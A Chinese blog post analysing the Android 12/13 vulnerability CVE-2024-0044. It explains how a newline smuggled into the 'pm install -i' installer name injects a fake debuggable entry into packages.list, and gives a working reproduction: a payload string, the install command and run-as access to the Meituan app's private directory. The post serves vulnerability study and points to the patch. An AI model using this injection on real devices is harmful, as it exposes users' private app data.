关于cve-2024-0044的简单分析

文章最后更新时间为:2024年07月10日 00:55:37

最近在公众号看到很多关于android12、13取证的相关文档,了解到是因为最近出了一个cve-2024-0044,该漏洞可以利用run-as命令提权到某app uid,从而实现对app私有目录进行访问,简单记录下漏洞原理和复现过程

1. 影响范围

android 12、13系统,不涉及android 14,谷歌安全补丁发布在2024年3月1号:https://source.android.com/docs/security/bulletin/2024-03-01?hl=zh-cn

2. 漏洞原理

在android开发中,开发者需要对app进行调试,但是在未root的系统上,adb默认是无法访问app私有目录的,于是android提供了一个run-as命令,它可以在不需要root权限的情况下,以应用程序的权限来执行特定任务。举个例子,应用程序的数据目录通常位于/data/data/<package_name>,这个目录默认情况下只能由该应用程序访问。当app设置了debug模式之后,使用run-as命令,可以访问这些目录中的文件。

adb shell run-as com.example.myapp ls /data/data/com.example.myapp

run-as命令的前提是该应用程序必须以可调试(debuggable)模式构建,在/data/system/packages.list文件中记录的是应用程序的一些基本信息,其中第三列就表示应用程序是否可调试,为1则表示可以调试。

在使用adb安装app时,可以使用-i参数来指定installer package name,也就是安装者的名字,这个会记录在/data/system/packages.list文件中的最后一列,漏洞就出现在这个installer package name字段并没有被校验是否存在特殊字符或者什么乱七八糟的东西,于是就可以通过在这个字段嵌入换行符来插入一行字符串到/data/system/packages.list文件中,设想一下假使插入了下面这么一行会发生什么:

victim $UID 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null

在真实的场景中,这里的$UID替换为需要窃取私有数据的目标app uid

首先来解析下上面一行的每个字段是什么意思:

  • victim:package name,就是app的包名
  • $UID:app的uid,假设我们需要窃取的app package name为com.example.myapp,这里需要写入com.example.myapp的uid
  • 1:app是否可调试的标识,1代表可以调试
  • /data/user/0:app的私有目录地址
  • default:targetSdkVersion=28:这个用于设置SELinux,设置为default,app的目标sdk版本为28
  • none 0 0 1 @null:这些参数无关紧要,其中@null就是installer package name

当插入以上一行时,就相当于创建了一个虚拟的app,饶过了debug的限制,可以使用run-as命令,切换到$UID的身份,也就具有了访问com.example.myapp所对应的app的私有目录/data/user/0/com.example.myapp的权限

需要注意的是,通过此种方式只能窃取用户app的私有数据,这个$UID权限无法获取system的app的权限,因为除了/data/system/packages.list文件外,android系统还有一些其他方式的权限检查。

3. 漏洞复现

假设这里想获取美团app的私有目录数据,步骤如下:
1.首先获取美团的app uid

rubens:/ $ pm list packages -U | sed -n "s/^package:com.sankuai.meituan uid://p"
10268

2.随意找一个app,传递到手机上,假设这里是/data/local/tmp/test.app

3.通过pm安装test.app,并指定-i参数来污染/data/system/packages.list

PAYLOAD="@null
victim 10268 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"


pm install -i "$PAYLOAD" /data/local/tmp/test.app

4.使用run-as vimtim就可以切换到美团uid的身份,访问私有目录的数据了

rubens:/ $ run-as victim
rubens:/data/user/0 $ ls -la /data/user/0/com.sankuai.meituan/
total 64
drwx------   9 u0_a268 u0_a268        3452 2024-07-08 17:26 .
drwxrwx--x 347 system  system        53248 2024-07-10 00:49 ..
drwxrwx--x   2 u0_a268 u0_a268        3452 2024-07-08 16:48 app_textures
drwx------   3 u0_a268 u0_a268        3452 2024-07-08 16:48 app_webview
drwxrws--x   5 u0_a268 u0_a268_cache  3452 2024-07-08 17:27 cache
drwxrws--x   2 u0_a268 u0_a268_cache  3452 2024-07-08 17:26 code_cache
drwxrwx--x   2 u0_a268 u0_a268        3452 2024-07-09 03:42 databases
drwxrwx--x   8 u0_a268 u0_a268        3452 2024-07-08 16:48 files
lrwxrwxrwx   1 root    root             89 2024-07-08 16:47 lib -> /data/app/~~OmtDt07PjZFEeEil-NpmUA==/com.sankuai.meituan-rUwShLE6IrcSxFkuht4udw==/lib/arm
drwxrwx--x   2 u0_a268 u0_a268        3452 2024-07-10 00:22 shared_prefs

2024-07-09T16:52:39.png

5. 漏洞修复

aosp中对该漏洞的修复比较简单,直接看commit代码就好了:https://android.googlesource.com/platform/frameworks/base/+/65bd134b0a82c51a143b89821d5cdd00ddc31792%5E%21/#F0

在core/java/com/android/server/pm/PackageInstallerService.java中增加了一个isValidPackageName函数,

6. 参考文章

1 + 8 =
1 评论
    Mrxn Chrome 126 Windows 10
    8月24日 回复

    就怕被某些类PDD的拿去胡作非为